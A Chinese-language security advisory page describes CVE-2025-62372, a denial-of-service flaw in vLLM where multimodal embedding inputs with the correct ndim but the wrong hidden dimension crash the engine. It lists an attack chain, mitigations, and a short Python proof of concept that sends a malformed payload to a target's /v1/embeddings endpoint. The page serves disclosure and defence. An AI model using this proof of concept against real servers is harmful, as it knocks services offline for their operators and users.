IPBUF安全漏洞报告
English
CVE-2025-62372 CVSS 6.5 中危

vLLM 多模态嵌入输入形状验证不当导致服务崩溃漏洞 (CVE-2025-62372)

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-62372
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
vLLM

相关标签

拒绝服务vLLM多模态嵌入输入验证LLM推理引擎形状校验CVE-2025-62372

漏洞概述

vLLM是一个用于大型语言模型(LLM)推理和服务的高性能引擎。该漏洞存在于vLLM 0.5.5到0.11.0版本中,攻击者可以通过传递具有正确ndim但形状错误的多模态嵌入输入(如隐藏维度不正确)来崩溃vLLM引擎。这种攻击影响所有支持多模态功能的模型,无论模型是否被设计为支持此类输入。攻击者利用此漏洞可以造成服务中断,导致多模态模型服务不可用。由于该漏洞可通过网络远程利用,且只需要低权限认证,因此具有较高的实际威胁性。攻击成功后会导致vLLM引擎进程崩溃或进入异常状态,需要重启服务才能恢复。

技术细节

漏洞根源在于vLLM对多模态嵌入输入的形状验证不充分。当用户提交多模态嵌入数据时,系统仅验证了ndim(维度数量)参数是否正确,但未对每个维度的实际大小进行严格校验。攻击者可以构造一个ndim值正确但形状参数(如hidden dimension)不符合模型期望的输入。例如,如果模型期望隐藏层维度为768,攻击者可以提交一个维度为512的输入。当vLLM尝试处理这种不匹配的嵌入数据时,会在张量运算过程中触发断言失败或内存访问错误,最终导致引擎崩溃。漏洞影响所有使用多模态功能的模型,包括图像、视频等多模态输入处理流程。由于多模态处理在vLLM的推理管线中属于关键组件,崩溃会导致整个服务实例不可用。

攻击链分析

STEP 1
步骤1
攻击者识别运行vLLM 0.5.5-0.11.0版本且支持多模态功能的服务器
STEP 2
步骤2
攻击者构造恶意的多模态嵌入请求,ndim参数正确但shape参数中隐藏维度与模型期望不匹配
STEP 3
步骤3
通过HTTP API向vLLM服务器的/embeddings或相关多模态端点发送恶意请求
STEP 4
步骤4
vLLM引擎接收到形状不匹配的嵌入数据后,在张量运算时触发内部错误
STEP 5
步骤5
引擎进程崩溃或进入异常状态,导致服务不可用,需要重启才能恢复

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-62372 PoC - vLLM Multimodal Embedding Crash # Target: vLLM server with multimodal model support def crash_vllm_engine(target_url, model_name): """ PoC to crash vLLM engine by sending malformed multimodal embedding inputs. The input has correct ndim but incorrect shape (wrong hidden dimension). """ # Craft malformed multimodal embedding with correct ndim but wrong shape payload = { "model": model_name, "inputs": { "data": "base64_encoded_multimodal_data", "embedding": { "ndim": 2, # Correct ndim "shape": [1, 512], # Wrong hidden dimension (should be 768 or model expected size) "dtype": "float32" } } } headers = { "Content-Type": "application/json" } # Send malicious request try: response = requests.post( f"{target_url}/v1/embeddings", json=payload, headers=headers, timeout=30 ) print(f"Response status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed (engine may have crashed): {e}") # Usage # target_url = "http://target-vllm-server:8000" # model_name = "llava-1.5-7b-hf" # crash_vllm_engine(target_url, model_name)

影响范围

vLLM >= 0.5.5 且 < 0.11.1

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解:1) 限制多模态API端点的访问权限,仅允许受信任的客户端访问;2) 在上游部署API网关,对多模态嵌入输入进行预校验;3) 监控vLLM服务的异常崩溃日志,及时发现攻击行为;4) 考虑暂时禁用非必要的多模态模型服务;5) 使用Web应用防火墙(WAF)过滤异常的多模态请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表